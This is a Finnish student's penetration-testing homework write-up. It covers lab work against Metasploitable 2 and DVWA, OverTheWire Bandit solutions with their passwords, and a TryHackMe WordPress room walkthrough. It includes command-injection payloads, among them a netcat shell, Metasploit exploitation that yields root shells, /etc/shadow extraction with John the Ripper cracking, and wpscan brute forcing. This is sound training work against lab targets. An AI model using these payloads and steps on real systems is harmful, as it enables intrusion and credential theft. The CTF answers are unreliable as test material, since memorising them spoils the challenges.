Tehtävä 2

h2 turbo boosted

OWASP A03:2021 – Injection

An application is vulnerable to attack when:

  • User-supplied data is not validated, filtered, or sanitized by the application.
  • Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
  • Hostile data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.
  • Hostile data is directly used or concatenated. The SQL or command contains the structure and malicious data in dynamic queries, commands, or stored procedures.

Lähde: OWASP A03:2021 – Injection

Primary Defenses:

  • Option 1: Use of Prepared Statements (with Parameterized Queries)
  • Option 2: Use of Stored Procedures
  • Option 3: Allow-list Input Validation
  • Option 4: Escaping All User Supplied Input

Additional Defenses:

  • Also: Enforcing Least Privilege
  • Also: Performing Allow-list Input Validation as a Secondary Defense

Lähde: OWASP SQL Injection Prevention Cheat Sheet

SQLZoo

WebGoat SQLi

Metasploitable 2

Latasin Metasploitable 2 tästä lähteestä:
https://docs.rapid7.com/metasploit/metasploitable-2/

Se tuli VMWare koneena, joten minun ei tarvinnut tehdä mitään muuta kuin purkkaa arkiston ja avata koneen VMWare Workstation 15 Pro hypervisorissa.

Käynnistin virtuaalikoneen jossa on asennettu Kali linux samassa verkossa Metaspoitable 2 kanssa. Kali linux koneelta tulen tekemään lähiverkon porttiskannausta. Kaikki alla mainitut komennot suoritetaan Kali linux koneelta, johon olin kirjautuneena SSH-yhteydellä isäntäkoneelta (Windows 10) MobaXterm ohjelmaa käyttäen. Ennen tehtävän aloittamista otin Metaspoiltable 2 ja Kali koneet pois NAT:sta, jotta ne eivät näkyisi virtuaaliverkon ulkopuolelle ja muut verkot ei tulisi skannatuksi vahingossa.

Katsotaan ensin nmap skannerin ohjeet:
$ nmap -h

Löysin sopivan parametrin joka skannaa vain IP-osoitteet lähiverkossa

-sn: Ping Scan – disable port scan

Käynnistin shellin lokitus komennolla:
$ script -fa nmap.log

Katsotaan koneen verkkoasetukset:
$ ifconfig -a

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.142.133 netmask 255.255.255.0 broadcast 192.168.142.255
inet6 fe80::20c:29ff:fe07:c6c0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:c6:c0 txqueuelen 1000 (Ethernet)
RX packets 1077 bytes 96803 (94.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1243 bytes 134456 (131.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 545 bytes 47884 (46.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 545 bytes 47884 (46.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

 

IP-osoite kuuluu verkkoon 192.168.142.0, jonka maski on 24 bit
Käynnistetään verkon skannaus ilman porttiskannausta:

$ nmap -v -sn 192.168.142.0/24

Output:

Nmap scan report for 192.168.142.0 [host down]
Nmap scan report for 192.168.142.1 [host down]
Nmap scan report for 192.168.142.2
Host is up (0.00075s latency).
Nmap scan report for 192.168.142.3 [host down]


Nmap scan report for 192.168.142.132 [host down]
Nmap scan report for 192.168.142.133
Host is up (0.0030s latency).
Nmap scan report for 192.168.142.134
Host is up (0.0026s latency).
Nmap scan report for 192.168.142.135 [host down]
Nmap scan report for 192.168.142.136 [host down]
…………..

Lähiverkossa on kolme IP-osoitetta näkyneet skannauksessa. Edellisestä tehtävästä tiedän, että 192.168.142.2 on VMWare virtuaaliverkon DNS

192.168.142.2 (LAN DNS)
192.168.142.133 (Local host)
192.168.142.134 (Kohdekone)

Käynnistetään nmap seuraavilla parametreilla:

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
$ nmap -v -A 192.168.142.134

Skannattiin 1000 porttia, mitkä ovat well-known ports (0-1023) ja (1024 – 49151 ) Registered ports


Scanning 192.168.142.134 [1000 ports]
Discovered open port 80/tcp on 192.168.142.134
Discovered open port 3306/tcp on 192.168.142.134
Discovered open port 111/tcp on 192.168.142.134
Discovered open port 22/tcp on 192.168.142.134
Discovered open port 53/tcp on 192.168.142.134
Discovered open port 139/tcp on 192.168.142.134
Discovered open port 25/tcp on 192.168.142.134
Discovered open port 445/tcp on 192.168.142.134
Discovered open port 23/tcp on 192.168.142.134
Discovered open port 21/tcp on 192.168.142.134
Discovered open port 5900/tcp on 192.168.142.134
Discovered open port 5432/tcp on 192.168.142.134
Discovered open port 8009/tcp on 192.168.142.134
Discovered open port 513/tcp on 192.168.142.134
Discovered open port 6667/tcp on 192.168.142.134
Discovered open port 1099/tcp on 192.168.142.134
Discovered open port 514/tcp on 192.168.142.134
Discovered open port 1524/tcp on 192.168.142.134
Discovered open port 8180/tcp on 192.168.142.134
Discovered open port 6000/tcp on 192.168.142.134
Discovered open port 2121/tcp on 192.168.142.134
Discovered open port 2049/tcp on 192.168.142.134
Discovered open port 512/tcp on 192.168.142.134

Seuraavat palvelut ja protokollat ​​toimivat skannauksen aikana havaitetuissa porteissa:
– HTTP
– MySQL
– ONC RPC
– SSH
– DNS
– NetBIOS Session Service
– SMTP
– Microsoft-DS (Active Directory / SMB)
– Telnet
– FTP
– Remote Process Execution (512)
– rlogin (513)
– Remote Shell, rsh, remsh, syslog (514)

Kohdekoneelta löytynyt vähintään pari tietokantaa:

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7

DVWA:

nmap skannauksen tuloksesta näkee, että HTTP portti on auki. Sen lisäksi koneella pyörii Apache Tomcat 5.5 portilla 8180 ja Apache JServ Protocol (AJP) portilla 8009. Sille löytyy Ghostcat havoittuvuus ja valmis exploit 

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 – Linux
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

Koneella on asennettu vanha Apache HTTP server vesio 2.2.8. Listan sen haavoittuvuuksista löytyy tästä linkistä:
https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-416233/Apache-Http-Server-2.2.8.html Etsimällä voi löytää sopivan exploitin, jolla pääsee hyödyntämään vanhan Apache version havoittuvuudet.

Metasploitable koneella on auki portti 80. Yritin avata Firefox selaimella. Avautunut WEB sovellus. Kirjauduin sinne “admin” käyttäjätunnusta ja “password” salasanaa käyttäen. Vihdoin Security level Low:ksi

 

Kokeilin ratkaistaa Command Execution tehtävää DVWA sovelluksessa syöttämällä input elementtiin seuraavaa komentoa, jossa puolipisteellä oli erotettu toinen komento joka luettele /root hakemiston sisältöä konsolille.

127.0.0.1; ls -la /root

Kokeilin vähän vaikeampaa. Syötin komennon joka avaa netcat takaoven portilla 4444

127.0.0.1; /tmp/pipe;sh /tmp/pipe | nc -l -p 4444 > /tmp/pipe

Metasploitable koneella käynnistyi prosessi, joka jäänyt kuuntelemaan porttia 4444

Kokeilin luoda yhteyden Kali koneelta Metasploitable koneelle netcat ohjelmalla portille 4444. Yhteys muodostui, mutta sitä ei ollut paljon apua.

Lähteet:
https://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html
https://n3dx0o.medium.com/dvwa-command-execution-solutions-low-medium-high-6ee354dc2974
https://unix.stackexchange.com/questions/365095/using-netcat-but-client-refused-why

 

vsFTPd

nmap skannauksen tuloksesta näkee, että FTP on auki ja Anonymous kirjautuminen sallittu

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.142.133
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 – secure, fast, stable
|_End of status

Kokeilin kirjautua sinne FTP-yhteydellä

$ ftp anonymous@192.168.142.134
Connected to 192.168.142.134.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Tuloksessa näkynyt myös vsFTPd 234, löysin netistä metasploit exploitin (vsftpd_234_backdoor) tämän haavoittuvuuden hyväksikäyttöön

Lähde: https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/

Kokeilin käyttää sitä. Pakollisena parametrina siinä on RHOST ja RPORT. Portiksi on valmiiksi asetettu 21, joten vaihdoin vain RHOST parametria laitamalla kohdekoneen IP-osoitteen. Exploit loi root shell session kohdekoneelle.

$ msfconsole
> use exploit/unix/ftp/vsftpd_234_backdoor
> show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
—- ————— ——– ———–
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):

Name Current Setting Required Description
—- ————— ——– ———–
Exploit target:

Id Name
— —-
0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.142.134
RHOSTS => 192.168.142.134
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.142.134:21 – Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.142.134:21 – USER: 331 Please specify the password.
[+] 192.168.142.134:21 – Backdoor service has been spawned, handling…
[+] 192.168.142.134:21 – UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.142.133:38321 -> 192.168.142.134:6200 ) at 2022-04-09 10:53:30 +0300

pwd
/
whoami
root

Bingo!

Back door

Kohdekoneen portilla 1524 oli kanssa palvelu
1524/tcp open bindshell Metasploitable root shell

Kokeilin luoda yhteyttä Netcat ohjelmalla ja pääsin heti root shelliin.

$ nc 192.168.142.134 1524
root@metasploitable:/# whoami
root
root@metasploitable:/# pwd
/

Lähde: https://cyberdewey.blogspot.com/2018/09/metasploitable-2-method-3-bind-shell.html

John the Ripper

Kopioin /etc/shadow ja /etc/passwd tiedostot kohdekoneelta Kali-koneelle kansioon /home/kali/Metasploitable/
John the Ripper käyttää salasanojen sanakirjaa. Käytän kotitehtävässä 1 käytettyä Rockyou.txt salasanojen listaa

root@metasploitable:/# cat /etc/shadow

Kali koneella suoritin seuraavat komennot:

$ unshadow passwd.txt shadow.txt > unshadowed.txt

$ john –wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

John aloittanut etismään sopivat salasanat brute force menetelmällä. top komennolla voi seurata prosesseja ja järjestelmän resurssien käyttöä. John prosessi oli käyttänyt melkein 99% CPU:n kapasiteetista.

Lopulta John löysi salasanat kolmelle /etc/shadow tiedostossa olevalle käyttäjätunnukselle: sys, klog, service. Neljälle tunnukselle sanakirjasta ei löytynyt salasanaa. Käyttämällä laajempia sanakirjoja ja kustamoituja sanakirjoja voidaan nostaa todenäköisyyttä arvata muitakin salasanoja

Lähde: https://erev0s.com/blog/cracking-etcshadow-john/

 

Tehtävä 1

a) Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).

e) Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.

 

https://overthewire.org/wargames/bandit/

Bandit Level 0 → Level 1

Level Goal

The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.

Ratkaisu:

bandit0@bandit:~$ cat readme

boJ9jbbUNNfktd78OOpsqOltutMc3MY1

bandit0@bandit:~$

 

Bandit Level 1 → Level 2

Level Goal

The password for the next level is stored in a file called  located in the home directory

Ratkaisu:

find ~ -type f  -name “[[:print:]]*” -exec cat {} \;

tai

bandit1@bandit:~$ find . -type f  -name “[[:print:]]*” -not -path ‘*/.*’

./-

bandit1@bandit:~$ cat ./-

CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

bandit1@bandit:~$

 

Bandit Level 2 → Level 3

Level Goal

The password for the next level is stored in a file called spaces in this filename located in the home directory

Ratkaisu:

bandit2@bandit:~$ find . -maxdepth 1 -name “* *” -print  -exec cat {} \;

./spaces in this filename

UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

bandit2@bandit:~$

 

Bandit Level 3 → Level 4

Level Goal

The password for the next level is stored in a hidden file in the inhere directory.

Ratkaisu:

bandit3@bandit:~$ find ./inhere  -type f   -path ‘*/.*’  -exec cat {} \;

pIwrPrtPN36QITSp3EQaw936yaFoFgAB

bandit3@bandit:~$

 

Bandit Level 4 → Level 5

Level Goal

The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command.

Ratkaisu:

bandit4@bandit:~$ find ./inhere -type f -exec file {} + |   awk -F: ‘/ASCII text/ {print $1}’

./inhere/-file07

bandit4@bandit:~$ cat ./inhere/-file07

koReBOKuIDDepwhWk7jZC0RTdopnAYKh

bandit4@bandit:~$

 

 

Bandit Level 5 → Level 6

Level Goal

The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:

  • human-readable
  • 1033 bytes in size
  • not executable

Ratkaisu:

bandit5@bandit:~$ find . -type f -size 1033c -name “[[:print:]]*” ! -executable -exec cat {} \;

DXjZPULLxYr17uwoI01bNLQbtFemEgo7

 

Bandit Level 6 → Level 7

Level Goal

The password for the next level is stored somewhere on the server and has all of the following properties:

  • owned by user bandit7
  • owned by group bandit6
  • 33 bytes in size

Ratkaisu:

bandit6@bandit:~$ find / -type f -size 33c  -user bandit7 -group bandit6 2>/dev/null  -exec cat {} \;

HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

bandit6@bandit:~$

 

Bandit Level 7 → Level 8

Level Goal

The password for the next level is stored in the file data.txt next to the word millionth

Ratkaisu:

bandit7@bandit:~$ cat data.txt  |  grep millionth

millionth       cvX2JJa4CFALtqS87jk27qwqGhBM9plV

bandit7@bandit:~$

 

Bandit Level 8 → Level 9

Level Goal

The password for the next level is stored in the file data.txt and is the only line of text that occurs only once

Ratkaisu:

bandit8@bandit:~$ cat data.txt | sort | uniq -u

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

bandit8@bandit:~$

tai

bandit8@bandit:~$ sort data.txt| uniq -u

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

bandit8@bandit:~$

 

Bandit Level 9 → Level 10

Level Goal

The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several ‘=’ characters.

Ratkaisu:

bandit9@bandit:~$ strings data.txt | grep -E “==”

========== the*2i”4

========== password

Z)========== is

&========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

bandit9@bandit:~$

 

Bandit Level 10 → Level 11

Level Goal

The password for the next level is stored in the file data.txt, which contains base64 encoded data

Ratkaisu:

bandit10@bandit:~$ cat data.txt  | base64 –decode

The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

bandit10@bandit:~$

 

b) Asenna Kali Linux.

Kali linux on asennettu Penetration testing kurssia varten luodulle virtuaalikoneelle. Virtuaalikone pyörii virtuaaliverkossa VMWare Workstation 15 pro virtuaalisointialustalla. Virtuaalikoneen verkkolaite NAT:lla yhdistetty ulkoverkkoon.

c) Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään

Opettajan ohjeilla asensin ja käynnistin OWASP10 WebGoat v8.0.0.M26 applikaation.

Karvinen, Tero: Install Webgoat 8 – Learn Web Pentesting

https://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target/

 

d) Ratkaise WebGoatista tehtävät

  • General
    • HTTP Basics

 

  • Developer tool

 

Asensin OWASP ZAP ja selvitin kuinka se toimii. Asensin Firefox laajennuksen FoxyProxy ja ohjasin liikennettä selaimen OWASP ZAP:in kautta niin, että HTTP pyynnöt ja vastaukset näkyisivät ZAP:ssa.

Lähde: Youtube: webpwnized “How to Intercept HTTP Requests with OWASP ZAP”

https://www.youtube.com/channel/UCPeJcqbi8v46Adk59plaaXg

e) Ratkaise 2021 Challenge.fi:stä yksi tehtävä, esim. 2021 Where was this picture taken, Encoding basics.

  • Where was this picture taken

    Maker:S,Date:2017-9-15,Ver:6,Lens:Kan03,Act:Lar02,E:Y

On ainakin kaksi helppoa tapaa ratkaistaa tehtävän.

Ensimmäinen on kokeilla käänteisen kuvahaun Googlessa: https://images.google.com/ Google löytää sitten verkkosivustoja, joissa on ladattu kuva sekä siihen liittyviä kuvia. Google Images havaitsee myös valokuvan aiheen ja tuo esiin muita kuva-aiheeseen liittyviä verkkosivustoja.

Toinen tapa on tarkistaa kuvan metatiedot. Useimmat nykyaikaiset älypuhelimet tallentavat exif-tiedot kuvatiedostosta. Nämä tiedot voivat kertoa laitteen, jolla kuva on otettu, kameran objektiivin tyypin, valokuvan ottopäivämäärän ja -ajan sekä joskus jopa sen sijainnin GPS-koordinaattien muodossa. Tämän kuvan metatiedoissa

Syöttämällä koordinatit Google maps palveluun tai GPS Coordinates palveluun https://www.gps-coordinates.net/ saadaan osoitteen.

 

Löysin on-line palvelun, joka näyttää kuvan exif tiedot. Palvelu tarjoaa myös exif tietojen poistoa kuvista.

VIEW AND REMOVE EXIF ONLINE: https://www.verexif.com/en/

Lähde:

https://africacheck.org/fact-checks/guides/guide-where-was-photo-taken-how-locate-almost-any-place-earth

Vastaus:

Location Address

The Blackpool Tower,

The Promenade,

Blackpool,

Lancashire,

FY1 4BJ,

England

 https://www.dayoutwiththekids.co.uk/attractions/the-blackpool-tower-eye-0172c72f

 

  • Encoding Basics

This is the flag, but its encrypted. Well, nothing can be done about it…

RkxBR3tMb29rc19yZWFsbHlfY3J5cHRpY19idXRfaXNfZWFzaWx5X3JldmVyc2VkfQ==

 

Ratkaisu:

Luodaan tiedosto nano editorilla ja tallennetaan salattu merkkijono sinne. Seuraavalla komennolla dekryptataan tiedoton sisältöä ja tulostetaan sen ruudulle.

┌──(kali㉿kali-vm)-[~/Documents]

└─$ base64 –decode encoding_basics.txt

FLAG{Looks_really_cryptic_but_is_easily_reversed} 

 

f) TryHackMe tai HackTheBox.

Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox

 

Päätin rekisteröityä TryHackMe palvelussa. Valitsin tehtäväksi “Billy Joel made a WordPress blog!”

Tehtävä: https://tryhackme.com/room/blog

“Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!

Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole… ”

 

Loin VPN -yhteyden palvelun verkkoon Kali -virtuaalikoneelta openvpn käyttäen.

┌──(kali㉿kali-vm)-[~]
└─$ ifconfig -a
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.142.133 netmask 255.255.255.0 broadcast 192.168.142.255
inet6 fe80::20c:29ff:fe07:c6c0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:c6:c0 txqueuelen 1000 (Ethernet)
RX packets 251645 bytes 307469156 (293.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 32588 bytes 5242053 (4.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1012812 bytes 194145304 (185.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1012812 bytes 194145304 (185.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.67.23 netmask 255.255.0.0 destination 10.8.67.23
inet6 fe80::3c3d:fd69:5c5c:32c9 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 96 (96.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

 

Lisätään kohdekoneen IP-osoiten /etc/hosts tiedostoon, jotta voittaisiin käyttää koneen koneen nimeä IP-osoitteen sijaan

$ sudo nano /etc/hosts

127.0.0.1       localhost

127.0.1.1       kali-vm

10.10.185.91    blog.thm

# The following lines are desirable for IPv6 capable hosts

::1     localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

 

Skannataan kohdekoneen portit nmap ohjelmalla

$ nmap -sV blog.thm

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 13:46 EEST

Nmap scan report for blog.thm (10.10.185.91)

Host is up (0.060s latency).

Not shown: 996 closed tcp ports (conn-refused)

PORT    STATE SERVICE     VERSION

22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))

139/tcp open  netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)

445/tcp open  netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)

Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds

 

Tuloksesta näkee, että kohdekoneella on auki SMB-protokollan portit 139 ja 445. Listataan Samba jaetut resurssit enum4linux ohjelmalla

 

$ enum4linux -a blog.thm

===================================( Share Enumeration on blog.thm )===================================

Sharename       Type      Comment

———                 —-      ——-

print$                 Disk      Printer Drivers

BillySMB            Disk      Billy’s local SMB Share

IPC$                    IPC       IPC Service (blog server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.

 

smbclient:

From this command line, you can use several FTP-like commands, as listed in Table D-1. Arguments in square brackets are optional.

From <https://www.oreilly.com/openbook/samba/book/appd_01.html>

 

 

Avataan yhteys jatettuun resurssiin smbclient ohjelma käyttäen

$ smbclient \\\\blog.thm\\BillySMB\\

Enter WORKGROUP\kali’s password:

Try “help” to get a list of possible commands.

smb: \>

smb: \> ls

.                                   D        0  Tue May 26 21:17:05 2020

..                                  D        0  Tue May 26 20:58:23 2020

Alice-White-Rabbit.jpg              N    33378  Tue May 26 21:17:01 2020

tswift.mp4                          N  1236733  Tue May 26 21:13:45 2020

check-this.png                      N     3082  Tue May 26 21:13:43 2020

15413192 blocks of size 1024. 9790064 blocks available

 

Haetaan tiedostot omalle koneelle

smb: \> get Alice-White-Rabbit.jpg /home/kali/TryHackMe/Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as /home/kali/TryHackMe/Alice-White-Rabbit.jpg (75.1 KiloBytes/sec) (average 75.1 KiloBytes/sec)
smb: \> get tswift.mp4 /home/kali/TryHackMe/tswift.mp4
getting file \tswift.mp4 of size 1236733 as /home/kali/TryHackMe/tswift.mp4 (436.3 KiloBytes/sec) (average 387.4 KiloBytes/sec)
smb: \> get check-this.png /home/kali/TryHackMe/check-this.png
getting file \check-this.png of size 3082 as /home/kali/TryHackMe/check-this.png (12.9 KiloBytes/sec) (average 362.0 KiloBytes/sec)
smb: \>

 

Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. The color- respectivly sample-frequencies are not changed thus making the embedding resistant against first-order statistical tests. http://steghide.sourceforge.net/

 

Asennetaan steghide
$ sudo apt install -y steghide

$ steghide –info Alice-White-Rabbit.jpg
“Alice-White-Rabbit.jpg”:
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file “rabbit_hole.txt”:
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes

Puretaan piilotiedosto kuvasta steghide extract komennolla

$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to “rabbit_hole.txt”.

Katsotaan tiedoston sisältöä

$ cat rabbit_hole.txt
You’ve found yourself in a rabbit hole, friend.

Oops! Tultiin umpikujaan.

 

Seuraavaksi kokeillaan hyökätä WordPress sivustoon WordPress Security Scan käyttäen: https://github.com/wpscanteam/wpscan/
Valitettavasti se ei toiminut ja pitänyt selvittää missä on vika

$ wpscan
/usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1401:in `rescue in block in activate_dependencies’: Could not find ‘webrick’ (>= 0) among 125 total gem(s) (Gem::MissingSpecError)
Lopulta tajusin, että ongelmana oli puuttunut riippuvuus ja asensin sen RubyGems repository:lta

$ sudo gem install webrick
Fetching webrick-1.7.0.gem
Successfully installed webrick-1.7.0
Parsing documentation for webrick-1.7.0
Installing ri documentation for webrick-1.7.0
Done installing documentation for webrick after 0 seconds
1 gem installed

 

Skannateean WordPress sivuston

$ wpscan –url 10.10.185.91  –enumerate u

Löytynyt kaksi käyttäjää: kwheel ja bjoel

 

Seuraavaksi yritän suorittaa brute force hyökkäystä käyttämällä samaa wpscan-työkalua. Tähän tarvitsen listan salasanoista mitä tullaan kokeilemaan hyökkäyksessä. Kali linuxissa on asennettuna Woldlist paketti: joka sisältää rockyou.txt.gz tiedoston. Ensin se pitää purkaa arkistosta. https://www.kali.org/tools/wordlists/

$ ls -lh /usr/share/wordlists/
total 51M
lrwxrwxrwx 1 root root 25 Mar 27 10:15 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root 30 Mar 27 10:15 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root 41 Mar 27 10:15 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root 45 Mar 27 10:15 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root 46 Mar 27 10:15 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root 41 Mar 27 10:15 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r–r– 1 root root 51M Jul 17 2019 rockyou.txt.gz
lrwxrwxrwx 1 root root 25 Mar 27 10:15 wfuzz -> /usr/share/wfuzz/wordlist

$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Seuraavalla komennolla aloitetaan brute force hyökkäystä

$ wpscan –url 10.10.185.91 -P /usr/share/wordlists/rockyou.txt -U “kwheel”

Sopiva salasana on löydetty, kirjaudutaan WP Admin paneelille. http://10.10.185.91/wp-admin

Onnistuin kirjautumaan WP-admin paneelille

Media välilehdellä on rikkinäisiä kuvia. Ehkä se on vihje. Kokeilin käyttää hyväkseen seuraavan WP:n havoittuvuuden

https://www.cvedetails.com/cve/CVE-2019-8942/

 

Avataan Metasploit https://www.metasploit.com/

$ msfconsole

 

Seuraavalla komennolla asennetaan exploit, joka käyttää kyseistä havoituvuutta.

msf6 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

 

Katsotaan sen parametrit:

msf6 exploit(multi/http/wp_crop_rce) > show options

Pitänyt selvittää metasploitin komentoja https://www.hackingtutorials.org/metasploit-tutorials/metasploit-commands/

Kyseinen exploit tarvitsee parametreina käyttäjänimeä, salasanaa ja kohdekoneen IP-osoitetta. Syötetään parametrit set -komennolla.

set RHOSTS 10.10.185.91
set USERNAME kwheel
set PASSWORD put_password_here

 

Käynnitetään run komennolla

msf6 exploit(multi/http/wp_crop_rce) > run

Exploit on asennettu kohdekoneelle, mutta sessiota ei saatu auki.

Tähän ongelman selvittelyyn meni paljon aikaa. Löysin, että ongelma mahdollisesti johtunut NAT:in takana toimivasta virtuaalikoneesta, jota käytän tässä tehtävässä. https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/  Yritin vaihtaa virtuaalikoneen verkkoasetuksia Bridge:ksi, mutta silloin ei toiminut VPN-yhteys. Asensin jopa uuden virtuaalikoneen Azure-pilveen. Koska Azuressa ei ollut Kali Linux -pakettia, minun piti asentaa Ubuntu ja kaikki tarvittavat työkalut itse. Tämäkään ei auttanut.

Päätin hankkia TryHackMe maksullista palvelua, joka tarjoaa pääsyä kaikkeen premium oppimissisältöön ja selainpohjaiseen Kali virtuaalikoneelle.

 

TryHackMe tehtävän istunto on vanhentunut, joten käynnistän sen uudelleen ja ryhdyn tarvittaviin toimiin jatkaakseni ongelman ratkaisemista TryHackMe virtuaalokoneelta.

Uusi kohdekoneen IP-osoite on: 10.10.215.42

 

Lopulta sain sen toimimaan

Pääsin shell komennolla kohdekoneelle

Sitten olin joo loppusuoralla:

$ export admin=/root

$ checker

$ cd ~

$ whoami

root

$ ls

root.txt

$ cat root.txt

Tiedostossa oli vastaus ensimmäiseen kysymykseen. Toisen tiedoston pitänyt etsiä find komennolla. Root käyttäjänä se ei olut vaikea. Tiedosto löytynyt kansiosta /home/bjoel/uset.txt  Siinä oli vastaus toiseen kysymykseen.

Yhtenä kysymykenä oli löytää CMS version. Tästä saa vikkejä: https://kinsta.com/knowledgebase/check-wordpress-version/

 

Lähde: Debjeet Banerjee 2020 https://whokilleddb.medium.com/tryhackme-blog-9fe23ef0494b

